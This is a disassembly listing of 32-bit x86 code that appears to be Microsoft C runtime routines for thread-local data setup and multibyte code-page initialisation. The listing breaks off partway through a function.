sub_41F850	proc near		; CODE XREF: ___:004175CAp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41F869
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41F869:				; CODE XREF: sub_41F850+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41F850	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_41B6A0
		nop
		call	near ptr 28A0000h
		mov	dword_443E90, eax
		cmp	dword_443E90, 0FFFFFFFFh
		jnz	short loc_41F8B1
		xor	eax, eax
		jmp	short loc_41F90E
; ---------------------------------------------------------------------------


loc_41F8B1:				; CODE XREF: ___:0041F8ABj
		push	61h
		push	offset aTidtable_c ; "tidtable.c"
		push	2
		push	74h
		push	1
		call	sub_4151E0
		add	esp, 14h
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jz	short loc_41F8E4
		mov	eax, [ebp-4]
		push	eax
		mov	ecx, dword_443E90
		push	ecx
		nop
		call	near ptr 2890A01h
		test	eax, eax
		jnz	short loc_41F8E8


loc_41F8E4:				; CODE XREF: ___:0041F8CDj
		xor	eax, eax
		jmp	short loc_41F90E
; ---------------------------------------------------------------------------


loc_41F8E8:				; CODE XREF: ___:0041F8E2j
		mov	edx, [ebp-4]
		push	edx
		call	sub_41F950
		add	esp, 4
		nop
		call	near ptr 289096Fh
		mov	ecx, [ebp-4]
		mov	[ecx], eax
		mov	edx, [ebp-4]
		mov	dword ptr [edx+4], 0FFFFFFFFh
		mov	eax, 1


loc_41F90E:				; CODE XREF: ___:0041F8AFj
					; ___:0041F8E6j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	sub_41B6E0
		cmp	dword_443E90, 0FFFFFFFFh
		jz	short loc_41F947
		mov	eax, dword_443E90
		push	eax
		call	near ptr 28A043Ch
		nop
		mov	dword_443E90, 0FFFFFFFFh


loc_41F947:				; CODE XREF: ___:0041F92Fj
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F950	proc near		; CODE XREF: ___:0041F8ECp
					; sub_41F970+5Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+50h], offset dword_4443C8
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+14h], 1
		pop	ebp
		retn
sub_41F950	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F970	proc near		; CODE XREF: sub_417620+Cp
					; sub_417B00+3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		nop
		call	near ptr 26908EFh
		mov	[ebp+var_8], eax
		mov	eax, dword_443E90
		push	eax
		nop
		call	near ptr 28A0CDDh
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41F9F7
		push	0E7h
		push	offset aTidtable_c ; "tidtable.c"
		push	2
		push	74h
		push	1
		call	sub_4151E0
		add	esp, 14h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41F9ED
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, dword_443E90
		push	edx
		nop
		call	near ptr 2890A01h
		test	eax, eax
		jz	short loc_41F9ED
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_41F950
		add	esp, 4
		nop
		call	near ptr 289096Fh
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+4], 0FFFFFFFFh
		jmp	short loc_41F9F7
; ---------------------------------------------------------------------------


loc_41F9ED:				; CODE XREF: sub_41F970+43j
					; sub_41F970+58j
		push	10h
		call	sub_41A9A0
		add	esp, 4


loc_41F9F7:				; CODE XREF: sub_41F970+22j
					; sub_41F970+7Bj
		mov	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 28A0C44h
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41F970	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		cmp	dword_443E90, 0FFFFFFFFh
		jz	loc_41FB15
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_41FA35
		mov	eax, dword_443E90
		push	eax
		nop
		call	near ptr 28A0CDDh
		mov	[ebp+8], eax


loc_41FA35:				; CODE XREF: ___:0041FA24j
		cmp	dword ptr [ebp+8], 0
		jz	loc_41FB06
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+24h], 0
		jz	short loc_41FA59
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+24h]
		push	eax
		call	sub_415860
		add	esp, 8


loc_41FA59:				; CODE XREF: ___:0041FA46j
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+28h], 0
		jz	short loc_41FA73
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+28h]
		push	eax
		call	sub_415860
		add	esp, 8


loc_41FA73:				; CODE XREF: ___:0041FA60j
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+30h], 0
		jz	short loc_41FA8D
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+30h]
		push	eax
		call	sub_415860
		add	esp, 8


loc_41FA8D:				; CODE XREF: ___:0041FA7Aj
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+38h], 0
		jz	short loc_41FAA7
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+38h]
		push	eax
		call	sub_415860
		add	esp, 8


loc_41FAA7:				; CODE XREF: ___:0041FA94j
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+40h], 0
		jz	short loc_41FAC1
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+40h]
		push	eax
		call	sub_415860
		add	esp, 8


loc_41FAC1:				; CODE XREF: ___:0041FAAEj
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+44h], 0
		jz	short loc_41FADB
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+44h]
		push	eax
		call	sub_415860
		add	esp, 8


loc_41FADB:				; CODE XREF: ___:0041FAC8j
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+50h], offset dword_4443C8
		jz	short loc_41FAF8
		push	2
		mov	edx, [ebp+8]
		mov	eax, [edx+50h]
		push	eax
		call	sub_415860
		add	esp, 8


loc_41FAF8:				; CODE XREF: ___:0041FAE5j
		push	2
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_415860
		add	esp, 8


loc_41FB06:				; CODE XREF: ___:0041FA39j
		push	0
		mov	edx, dword_443E90
		push	edx
		nop
		call	near ptr 2890A01h


loc_41FB15:				; CODE XREF: ___:0041FA1Aj
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		nop
		call	near ptr 289096Fh
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		nop
		call	near ptr 28A0DEDh
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FB40	proc near		; CODE XREF: sub_420320+Ep

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1A		= byte ptr -1Ah
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	19h
		call	sub_41B780
		add	esp, 4
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41FE90
		add	esp, 4
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		cmp	ecx, dword_4DB564
		jnz	short loc_41FB7B
		push	19h
		call	sub_41B820
		add	esp, 4
		xor	eax, eax
		jmp	loc_41FE80
; ---------------------------------------------------------------------------


loc_41FB7B:				; CODE XREF: sub_41FB40+28j
		cmp	[ebp+arg_0], 0
		jnz	short loc_41FB9C
		call	sub_41FF70
		call	sub_41FFF0
		push	19h
		call	sub_41B820
		add	esp, 4
		xor	eax, eax
		jmp	loc_41FE80
; ---------------------------------------------------------------------------


loc_41FB9C:				; CODE XREF: sub_41FB40+3Fj
		mov	[ebp+var_4], 0
		jmp	short loc_41FBAE
; ---------------------------------------------------------------------------


loc_41FBA5:				; CODE XREF: sub_41FB40:loc_41FCFAj
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_41FBAE:				; CODE XREF: sub_41FB40+63j
		cmp	[ebp+var_4], 5
		jnb	loc_41FCFF
		mov	eax, [ebp+var_4]
		imul	eax, 30h
		mov	ecx, dword_443EA0[eax]
		cmp	ecx, [ebp+arg_0]
		jnz	loc_41FCFA
		mov	[ebp+var_24], 0
		jmp	short loc_41FBDF
; ---------------------------------------------------------------------------


loc_41FBD6:				; CODE XREF: sub_41FB40+B2j
		mov	edx, [ebp+var_24]
		add	edx, 1
		mov	[ebp+var_24], edx


loc_41FBDF:				; CODE XREF: sub_41FB40+94j
		cmp	[ebp+var_24], 101h
		jnb	short loc_41FBF4
		mov	eax, [ebp+var_24]
		mov	byte_4DB680[eax], 0
		jmp	short loc_41FBD6
; ---------------------------------------------------------------------------


loc_41FBF4:				; CODE XREF: sub_41FB40+A6j
		mov	[ebp+var_C], 0
		jmp	short loc_41FC06
; ---------------------------------------------------------------------------


loc_41FBFD:				; CODE XREF: sub_41FB40:loc_41FC82j
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx


loc_41FC06:				; CODE XREF: sub_41FB40+BBj
		cmp	[ebp+var_C], 4
		jnb	short loc_41FC87
		mov	edx, [ebp+var_4]
		imul	edx, 30h
		mov	eax, [ebp+var_C]
		lea	ecx, dword_443EB0[edx+eax*8]
		mov	[ebp+var_8], ecx
		jmp	short loc_41FC2A
; ---------------------------------------------------------------------------


loc_41FC21:				; CODE XREF: sub_41FB40:loc_41FC80j
		mov	edx, [ebp+var_8]
		add	edx, 2
		mov	[ebp+var_8], edx


loc_41FC2A:				; CODE XREF: sub_41FB40+DFj
		mov	eax, [ebp+var_8]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_41FC82
		mov	edx, [ebp+var_8]
		xor	eax, eax
		mov	al, [edx+1]
		test	eax, eax
		jz	short loc_41FC82
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	[ebp+var_24], edx
		jmp	short loc_41FC56
; ---------------------------------------------------------------------------


loc_41FC4D:				; CODE XREF: sub_41FB40+13Ej
		mov	eax, [ebp+var_24]
		add	eax, 1
		mov	[ebp+var_24], eax


loc_41FC56:				; CODE XREF: sub_41FB40+10Bj
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dl, [ecx+1]
		cmp	[ebp+var_24], edx
		ja	short loc_41FC80
		mov	eax, [ebp+var_24]
		mov	ecx, [ebp+var_C]
		mov	dl, byte_4DB681[eax]
		or	dl, byte_443E98[ecx]
		mov	eax, [ebp+var_24]
		mov	byte_4DB681[eax], dl
		jmp	short loc_41FC4D
; ---------------------------------------------------------------------------


loc_41FC80:				; CODE XREF: sub_41FB40+121j
		jmp	short loc_41FC21
; ---------------------------------------------------------------------------


loc_41FC82:				; CODE XREF: sub_41FB40+F3j
					; sub_41FB40+FFj
		jmp	loc_41FBFD
; ---------------------------------------------------------------------------


loc_41FC87:				; CODE XREF: sub_41FB40+CAj
		mov	ecx, [ebp+arg_0]
		mov	dword_4DB564, ecx
		mov	dword_4DB57C, 1
		mov	edx, dword_4DB564
		push	edx
		call	sub_41FEF0
		add	esp, 4
		mov	dword_4DB784, eax
		mov	[ebp+var_C], 0
		jmp	short loc_41FCC0
; ---------------------------------------------------------------------------


loc_41FCB7:				; CODE XREF: sub_41FB40+1A2j
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax


loc_41FCC0:				; CODE XREF: sub_41FB40+175j
		cmp	[ebp+var_C], 6
		jnb	short loc_41FCE4
		mov	ecx, [ebp+var_4]
		imul	ecx, 30h
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_C]
		mov	cx, word_443EA4[ecx+eax*2]
		mov	word_4DB570[edx*2], cx
		jmp	short loc_41FCB7
; ---------------------------------------------------------------------------


loc_41FCE4:				; CODE XREF: sub_41FB40+184j
		call	sub_41FFF0
		push	19h
		call	sub_41B820
		add	esp, 4
		xor	eax, eax
		jmp	loc_41FE80
; ---------------------------------------------------------------------------


loc_41FCFA:				; CODE XREF: sub_41FB40+87j
		jmp	loc_41FBA5
; ---------------------------------------------------------------------------


loc_41FCFF:				; CODE XREF: sub_41FB40+72j
		lea	edx, [ebp+var_20]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		nop
		call	near ptr 28B0000h
		cmp	eax, 1
		jnz	loc_41FE52
		mov	[ebp+var_24], 0
		jmp	short loc_41FD28
; ---------------------------------------------------------------------------


loc_41FD1F:				; CODE XREF: sub_41FB40+1FBj
		mov	ecx, [ebp+var_24]
		add	ecx, 1
		mov	[ebp+var_24], ecx


loc_41FD28:				; CODE XREF: sub_41FB40+1DDj
		cmp	[ebp+var_24], 101h
		jnb	short loc_41FD3D
		mov	edx, [ebp+var_24]
		mov	byte_4DB680[edx], 0
		jmp	short loc_41FD1F
; ---------------------------------------------------------------------------


loc_41FD3D:				; CODE XREF: sub_41FB40+1EFj
		mov	eax, [ebp+arg_0]
		mov	dword_4DB564, eax
		mov	dword_4DB784, 0
		cmp	[ebp+var_20], 1
		jbe	loc_41FE0E
		lea	ecx, [ebp+var_1A]
		mov	[ebp+var_28], ecx
		jmp	short loc_41FD6A
; ---------------------------------------------------------------------------


loc_41FD61:				; CODE XREF: sub_41FB40:loc_41FDBAj
		mov	edx, [ebp+var_28]
		add	edx, 2
		mov	[ebp+var_28], edx


loc_41FD6A:				; CODE XREF: sub_41FB40+21Fj
		mov	eax, [ebp+var_28]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_41FDBC
		mov	edx, [ebp+var_28]
		xor	eax, eax
		mov	al, [edx+1]
		test	eax, eax
		jz	short loc_41FDBC
		mov	ecx, [ebp+var_28]
		xor	edx, edx
		mov	dl, [ecx]
		mov	[ebp+var_24], edx
		jmp	short loc_41FD96
; ---------------------------------------------------------------------------


loc_41FD8D:				; CODE XREF: sub_41FB40+278j
		mov	eax, [ebp+var_24]
		add	eax, 1
		mov	[ebp+var_24], eax


loc_41FD96:				; CODE XREF: sub_41FB40+24Bj
		mov	ecx, [ebp+var_28]
		xor	edx, edx
		mov	dl, [ecx+1]
		cmp	[ebp+var_24], edx
		ja	short loc_41FDBA
		mov	eax, [ebp+var_24]
		mov	cl, byte_4DB681[eax]
		or	cl, 4
		mov	edx, [ebp+var_24]
		mov	byte_4DB681[edx], cl
		jmp	short loc_41FD8D
; ---------------------------------------------------------------------------


loc_41FDBA:				; CODE XREF: sub_41FB40+261j
		jmp	short loc_41FD61
; ---------------------------------------------------------------------------


loc_41FDBC:				; CODE XREF: sub_41FB40+233j
					; sub_41FB40+23Fj
		mov	[ebp+var_24], 1
		jmp	short loc_41FDCE
; ---------------------------------------------------------------------------


loc_41FDC5:				; CODE XREF: sub_41FB40+2ACj
		mov	eax, [ebp+var_24]
		add	eax, 1
		mov	[ebp+var_24], eax


loc_41FDCE:				; CODE XREF: sub_41FB40+283j
		cmp	[ebp+var_24], 0FFh
		jnb	short loc_41FDEE
		mov	ecx, [ebp+var_24]
		mov	dl, byte_4DB681[ecx]
		or	dl, 8
		mov	eax, [ebp+var_24]
		mov	byte_4DB681[eax], dl
		jmp	short loc_41FDC5
; ---------------------------------------------------------------------------


loc_41FDEE:				; CODE XREF: sub_41FB40+295j
		mov	ecx, dword_4DB564
		push	ecx
		call	sub_41FEF0
		add	esp, 4
		mov	dword_4DB784, eax
		mov	dword_4DB57C, 1
		jmp	short loc_41FE18
; ---------------------------------------------------------------------------


loc_41FE0E:				; CODE XREF: sub_41FB40+213j
		mov	dword_4DB57C, 0


loc_41FE18:				; CODE XREF: sub_41FB40+2CCj
		mov	[ebp+var_C], 0
		jmp	short loc_41FE2A
; ---------------------------------------------------------------------------


loc_41FE21:				; CODE XREF: sub_41FB40+2FDj
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx


loc_41FE2A:				; CODE XREF: sub_41FB40+2DFj
		cmp	[ebp+var_C], 6
		jnb	short loc_41FE3F
		mov	eax, [ebp+var_C]
		mov	word_4DB570[eax*2], 0
		jmp	short loc_41FE21
; ---------------------------------------------------------------------------


loc_41FE3F:				; CODE XREF: sub_41FB40+2EEj
		call	sub_41FFF0
		push	19h
		call	sub_41B820
		add	esp, 4
		xor	eax, eax
		jmp	short loc_41FE80
; ---------------------------------------------------------------------------


loc_41FE52:				; CODE XREF: sub_41FB40+1D0j
		cmp	dword_4DB198, 0
		jz	short loc_41FE73
		call	sub_41FF70
		call	sub_41FFF0
		push	19h
		call	sub_41B820
		add	esp, 4
		xor	eax, eax
		jmp	short loc_41FE80
; ---------------------------------------------------------------------------


loc_41FE73:				; CODE XREF: sub_41FB40+319j
		push	19h
		call	sub_41B820
		add	esp, 4
		or	eax, 0FFFFFFFFh


loc_41FE80:				; CODE XREF: sub_41FB40+36j
					; sub_41FB40+57j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41FB40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FE90	proc near		; CODE XREF: sub_41FB40+14p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	dword_4DB198, 0
		cmp	[ebp+arg_0], 0FFFFFFFEh
		jnz	short loc_41FEB5
		mov	dword_4DB198, 1
		nop
		call	near ptr 28B087Ch
		jmp	short loc_41FEE7
; ---------------------------------------------------------------------------


loc_41FEB5:				; CODE XREF: sub_41FE90+11j
		cmp	[ebp+arg_0], 0FFFFFFFDh
		jnz	short loc_41FECD
		mov	dword_4DB198, 1
		call	near ptr 28B084Ah
		nop
		jmp	short loc_41FEE7
; ---------------------------------------------------------------------------


loc_41FECD:				; CODE XREF: sub_41FE90+29j
		cmp	[ebp+arg_0], 0FFFFFFFCh
		jnz	short loc_41FEE4
		mov	dword_4DB198, 1
		mov	eax, dword_4DB1C8
		jmp	short loc_41FEE7
; ---------------------------------------------------------------------------


loc_41FEE4:				; CODE XREF: sub_41FE90+41j
		mov	eax, [ebp+arg_0]


loc_41FEE7:				; CODE XREF: sub_41FE90+23j
					; sub_41FE90+3Bj ...
		pop	ebp
		retn
sub_41FE90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEF0	proc near		; CODE XREF: sub_41FB40+161p
					; sub_41FB40+2B5p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		sub	ecx, 3A4h
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 12h
		ja	short loc_41FF3A
		mov	eax, [ebp+var_4]
		xor	edx, edx
		mov	dl, byte_41FF54[eax]
		jmp	off_41FF40[edx*4]


loc_41FF1E:				; DATA XREF: ___:off_41FF40o
		mov	eax, 411h
		jmp	short loc_41FF3C
; ---------------------------------------------------------------------------


loc_41FF25:				; CODE XREF: sub_41FEF0+27j
					; DATA XREF: ___:0041FF44o
		mov	eax, 804h
		jmp	short loc_41FF3C
; ---------------------------------------------------------------------------


loc_41FF2C:				; CODE XREF: sub_41FEF0+27j
					; DATA XREF: ___:0041FF48o
		mov	eax, 412h
		jmp	short loc_41FF3C
; ---------------------------------------------------------------------------


loc_41FF33:				; CODE XREF: sub_41FEF0+27j
					; DATA XREF: ___:0041FF4Co
		mov	eax, 404h
		jmp	short loc_41FF3C
; ---------------------------------------------------------------------------


loc_41FF3A:				; CODE XREF: sub_41FEF0+1Aj
					; sub_41FEF0+27j
					; DATA XREF: ...
		xor	eax, eax


loc_41FF3C:				; CODE XREF: sub_41FEF0+33j
					; sub_41FEF0+3Aj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41FEF0	endp

; ---------------------------------------------------------------------------
off_41FF40	dd offset loc_41FF1E	; DATA XREF: sub_41FEF0+27r
		dd offset loc_41FF25
		dd offset loc_41FF2C
		dd offset loc_41FF33
		dd offset loc_41FF3A
byte_41FF54	db 0			; DATA XREF: sub_41FEF0+21r
		db 3 dup(4)
		dd 4040401h, 2 dup(4040404h), 0CC030204h, 2 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FF70	proc near		; CODE XREF: sub_41FB40+41p
					; sub_41FB40+31Bp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_41FF86
; ---------------------------------------------------------------------------


loc_41FF7D:				; CODE XREF: sub_41FF70+29j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_41FF86:				; CODE XREF: sub_41FF70+Bj
		cmp	[ebp+var_4], 101h
		jge	short loc_41FF9B
		mov	ecx, [ebp+var_4]
		mov	byte_4DB680[ecx], 0
		jmp	short loc_41FF7D
; ---------------------------------------------------------------------------


loc_41FF9B:				; CODE XREF: sub_41FF70+1Dj
		mov	dword_4DB564, 0
		mov	dword_4DB57C, 0
		mov	dword_4DB784, 0
		mov	[ebp+var_4], 0
		jmp	short loc_41FFCB
; ---------------------------------------------------------------------------


loc_41FFC2:				; CODE XREF: sub_41FF70+6Ej
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_41FFCB:				; CODE XREF: sub_41FF70+50j
		cmp	[ebp+var_4], 6
		jge	short loc_41FFE0
		mov	eax, [ebp+var_4]
		mov	word_4DB570[eax*2], 0
		jmp	short loc_41FFC2
; ---------------------------------------------------------------------------


loc_41FFE0:				; CODE XREF: sub_41FF70+5Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_41FF70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FFF0	proc near		; CODE XREF: sub_41FB40+46p
					; sub_41FB40:loc_41FCE4p ...

var_51C		= dword	ptr -51Ch
var_518		= byte ptr -518h
var_418		= byte ptr -418h
var_318		= byte ptr -318h
var_312		= byte ptr -312h
var_304		= byte ptr -304h
var_204		= word ptr -204h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 51Ch
		lea	eax, [ebp+var_318]
		push	eax
		mov	ecx, dword_4DB564
		push	ecx
		nop
		call	near ptr 28B0000h
		cmp	eax, 1
		jnz	loc_420229
		mov	[ebp+var_51C], 0
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_420022:				; CODE XREF: sub_41FFF0+60j
		mov	edx, [ebp+var_51C]
		add	edx, 1
		mov	[ebp+var_51C], edx


loc_420031:				; CODE XREF: sub_41FFF0+30j
		cmp	[ebp+var_51C], 100h
		jnb	short loc_420052
		mov	eax, [ebp+var_51C]
		mov	cl, byte ptr [ebp+var_51C]
		mov	[ebp+eax+var_304], cl
		jmp	short loc_420022
; ---------------------------------------------------------------------------


loc_420052:				; CODE XREF: sub_41FFF0+4Bj
		mov	[ebp+var_304], 20h
		lea	edx, [ebp+var_312]
		mov	[ebp+var_4], edx
		jmp	short loc_42006D
; ---------------------------------------------------------------------------


loc_420064:				; CODE XREF: sub_41FFF0:loc_4200B6j
		mov	eax, [ebp+var_4]
		add	eax, 2
		mov	[ebp+var_4], eax


loc_42006D:				; CODE XREF: sub_41FFF0+72j
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jz	short loc_4200B8
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	[ebp+var_51C], ecx
		jmp	short loc_420096
; ---------------------------------------------------------------------------


loc_420087:				; CODE XREF: sub_41FFF0+C4j
		mov	edx, [ebp+var_51C]
		add	edx, 1
		mov	[ebp+var_51C], edx


loc_420096:				; CODE XREF: sub_41FFF0+95j
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax+1]
		cmp	[ebp+var_51C], ecx
		ja	short loc_4200B6
		mov	edx, [ebp+var_51C]
		mov	[ebp+edx+var_304], 20h
		jmp	short loc_420087
; ---------------------------------------------------------------------------


loc_4200B6:				; CODE XREF: sub_41FFF0+B4j
		jmp	short loc_420064
; ---------------------------------------------------------------------------


loc_4200B8:				; CODE XREF: sub_41FFF0+86j
		push	0
		mov	eax, dword_4DB784
		push	eax
		mov	ecx, dword_4DB564
		push	ecx
		lea	edx, [ebp+var_204]
		push	edx
		push	100h
		lea	eax, [ebp+var_304]
		push	eax
		push	1
		call	sub_427D80
		add	esp, 1Ch
		push	0
		mov	ecx, dword_4DB564
		push	ecx
		push	100h
		lea	edx, [ebp+var_418]
		push	edx
		push	100h
		lea	eax, [ebp+var_304]
		push	eax
		push	100h
		mov	ecx, dword_4DB784
		push	ecx
		call	sub_425B90
		add	esp, 20h
		push	0
		mov	edx, dword_4DB564
		push	edx
		push	100h
		lea	eax, [ebp+var_518]
		push	eax
		push	100h
		lea	ecx, [ebp+var_304]
		push	ecx
		push	200h
		mov	edx, dword_4DB784
		push	edx
		call	sub_425B90
		add	esp, 20h
		mov	[ebp+var_51C], 0
		jmp	short loc_420169
; ---------------------------------------------------------------------------


loc_42015A:				; CODE XREF: sub_41FFF0:loc_42021Fj
		mov	eax, [ebp+var_51C]
		add	eax, 1
		mov	[ebp+var_51C], eax


loc_420169:				; CODE XREF: sub_41FFF0+168j
		cmp	[ebp+var_51C], 100h
		jnb	loc_420224
		mov	ecx, [ebp+var_51C]
		xor	edx, edx
		mov	dx, [ebp+ecx*2+var_204]
		and	edx, 1
		test	edx, edx
		jz	short loc_4201C6
		mov	eax, [ebp+var_51C]
		mov	cl, byte_4DB681[eax]
		or	cl, 10h
		mov	edx, [ebp+var_51C]
		mov	byte_4DB681[edx], cl
		mov	eax, [ebp+var_51C]
		mov	ecx, [ebp+var_51C]
		mov	dl, [ebp+ecx+var_418]
		mov	byte_4DB580[eax], dl
		jmp	short loc_42021F
; ---------------------------------------------------------------------------


loc_4201C6:				; CODE XREF: sub_41FFF0+19Ej
		mov	eax, [ebp+var_51C]
		xor	ecx, ecx
		mov	cx, [ebp+eax*2+var_204]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_420212
		mov	edx, [ebp+var_51C]
		mov	al, byte_4DB681[edx]
		or	al, 20h
		mov	ecx, [ebp+var_51C]
		mov	byte_4DB681[ecx], al
		mov	edx, [ebp+var_51C]
		mov	eax, [ebp+var_51C]
		mov	cl, [ebp+eax+var_518]
		mov	byte_4DB580[edx], cl
		jmp	short loc_42021F
; ---------------------------------------------------------------------------


loc_420212:				; CODE XREF: sub_41FFF0+1EBj
		mov	edx, [ebp+var_51C]
		mov	byte_4DB580[edx], 0


loc_42021F:				; CODE XREF: sub_41FFF0+1D4j
					; sub_41FFF0+220j
		jmp	loc_42015A
; ---------------------------------------------------------------------------


loc_420224:				; CODE XREF: sub_41FFF0+183j
		jmp	loc_4202EE
; ---------------------------------------------------------------------------


loc_420229:				; CODE XREF: sub_41FFF0+20j
		mov	[ebp+var_51C], 0
		jmp	short loc_420244
; ---------------------------------------------------------------------------


loc_420235:				; CODE XREF: sub_41FFF0:loc_4202E9j
		mov	eax, [ebp+var_51C]
		add	eax, 1
		mov	[ebp+var_51C], eax


loc_420244:				; CODE XREF: sub_41FFF0+243j
		cmp	[ebp+var_51C], 100h
		jnb	loc_4202EE
		cmp	[ebp+var_51C], 41h
		jb	short loc_420298
		cmp	[ebp+var_51C], 5Ah
		ja	short loc_420298
		mov	ecx, [ebp+var_51C]
		mov	dl, byte_4DB681[ecx]
		or	dl, 10h
		mov	eax, [ebp+var_51C]
		mov	byte_4DB681[eax], dl
		mov	ecx, [ebp+var_51C]
		add	ecx, 20h
		mov	edx, [ebp+var_51C]
		mov	byte_4DB580[edx], cl
		jmp	short loc_4202E9
; ---------------------------------------------------------------------------


loc_420298:				; CODE XREF: sub_41FFF0+26Bj
					; sub_41FFF0+274j
		cmp	[ebp+var_51C], 61h
		jb	short loc_4202DC
		cmp	[ebp+var_51C], 7Ah
		ja	short loc_4202DC
		mov	eax, [ebp+var_51C]
		mov	cl, byte_4DB681[eax]
		or	cl, 20h
		mov	edx, [ebp+var_51C]
		mov	byte_4DB681[edx], cl
		mov	eax, [ebp+var_51C]
		sub	eax, 20h
		mov	ecx, [ebp+var_51C]
		mov	byte_4DB580[ecx], al
		jmp	short loc_4202E9
; ---------------------------------------------------------------------------


loc_4202DC:				; CODE XREF: sub_41FFF0+2AFj
					; sub_41FFF0+2B8j
		mov	edx, [ebp+var_51C]
		mov	byte_4DB580[edx], 0


loc_4202E9:				; CODE XREF: sub_41FFF0+2A6j
